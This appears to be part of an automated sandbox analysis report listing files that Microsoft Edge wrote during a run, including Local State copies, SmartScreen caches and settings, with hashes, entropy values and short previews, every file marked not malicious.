SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJdi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/mkzItSmd6qE7lFoC
MD5:	B91FD19AA4973D956666747A4C80EA90
SHA1:	67D2923E562EF1E45435AC436790EBB00382E2E2
SHA-256:	30E7BCFBE26659738D6F7C485A2172C528F88F07E00774769DE0B592860C12C1
SHA-512:	E5FEA4B3856DAA2FB9A3C5808C8C88CA007D4A51CDDF81EE988F12B9FF37427CE6FD05E8DA9616734F1F5F22E0F45A9D3C690900B6E6DE4BB8A20A94614A1A26
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF42278.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089796046352358
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJdi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/mkzItSmd6qE7lFoC
MD5:	B91FD19AA4973D956666747A4C80EA90
SHA1:	67D2923E562EF1E45435AC436790EBB00382E2E2
SHA-256:	30E7BCFBE26659738D6F7C485A2172C528F88F07E00774769DE0B592860C12C1
SHA-512:	E5FEA4B3856DAA2FB9A3C5808C8C88CA007D4A51CDDF81EE988F12B9FF37427CE6FD05E8DA9616734F1F5F22E0F45A9D3C690900B6E6DE4BB8A20A94614A1A26
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4c5ae.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089796046352358
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJdi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/mkzItSmd6qE7lFoC
MD5:	B91FD19AA4973D956666747A4C80EA90
SHA1:	67D2923E562EF1E45435AC436790EBB00382E2E2
SHA-256:	30E7BCFBE26659738D6F7C485A2172C528F88F07E00774769DE0B592860C12C1
SHA-512:	E5FEA4B3856DAA2FB9A3C5808C8C88CA007D4A51CDDF81EE988F12B9FF37427CE6FD05E8DA9616734F1F5F22E0F45A9D3C690900B6E6DE4BB8A20A94614A1A26
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF52274.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089796046352358
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJdi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/mkzItSmd6qE7lFoC
MD5:	B91FD19AA4973D956666747A4C80EA90
SHA1:	67D2923E562EF1E45435AC436790EBB00382E2E2
SHA-256:	30E7BCFBE26659738D6F7C485A2172C528F88F07E00774769DE0B592860C12C1
SHA-512:	E5FEA4B3856DAA2FB9A3C5808C8C88CA007D4A51CDDF81EE988F12B9FF37427CE6FD05E8DA9616734F1F5F22E0F45A9D3C690900B6E6DE4BB8A20A94614A1A26
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.006896191438535
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXyZcR4M:YWLSGTt1o9LuLgfGBPAzkVj/T8lgg4M
MD5:	C418F4E4216695D7866DFB837B56C913
SHA1:	D5DC083449E3F3429F6853E1683DBDA2B439B54D
SHA-256:	978B0007D05D493397B1247205A96B829762982184EFA0033CC82DCB5A7B1987
SHA-512:	E3AB76101B829AD86753522099D59CBE2B95941B3A0A10F0D9121DE7A076EB806D7EA6F931C271669C5DA248B414950D1F7BBD8D87F48D317286C237BE82B972
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732450606540560}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c4efbd12-fdec-485a-a2e0-829b20e3d9b8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089796046352358
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJdi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/mkzItSmd6qE7lFoC
MD5:	B91FD19AA4973D956666747A4C80EA90
SHA1:	67D2923E562EF1E45435AC436790EBB00382E2E2
SHA-256:	30E7BCFBE26659738D6F7C485A2172C528F88F07E00774769DE0B592860C12C1
SHA-512:	E5FEA4B3856DAA2FB9A3C5808C8C88CA007D4A51CDDF81EE988F12B9FF37427CE6FD05E8DA9616734F1F5F22E0F45A9D3C690900B6E6DE4BB8A20A94614A1A26
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e997fa0c-5eed-4404-b806-ec6a39c5d981.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44984
Entropy (8bit):	6.095860053546447
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWbAi1zNtfN9PL8XA0nVKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yOgNMKtSmd6qE7lFoC
MD5:	4ECF7C1B880BE9F22FF05E3E27AF8DE1
SHA1:	60D1CEB8727738944248B65FCFEE5AA9FCD1C523
SHA-256:	36AB63F9944801409CF7F9FA98032E040844999DB5C46726D32D25D624A28CF9
SHA-512:	C7CE380EF792C1F3F7221CB855A7130EDB4EFB45AE38918BC042E5A0F73D7B955DD38B330F248C842442C7B243150C271ADE83A2CCAA48D782066863FAB58FE8
Malicious:	false
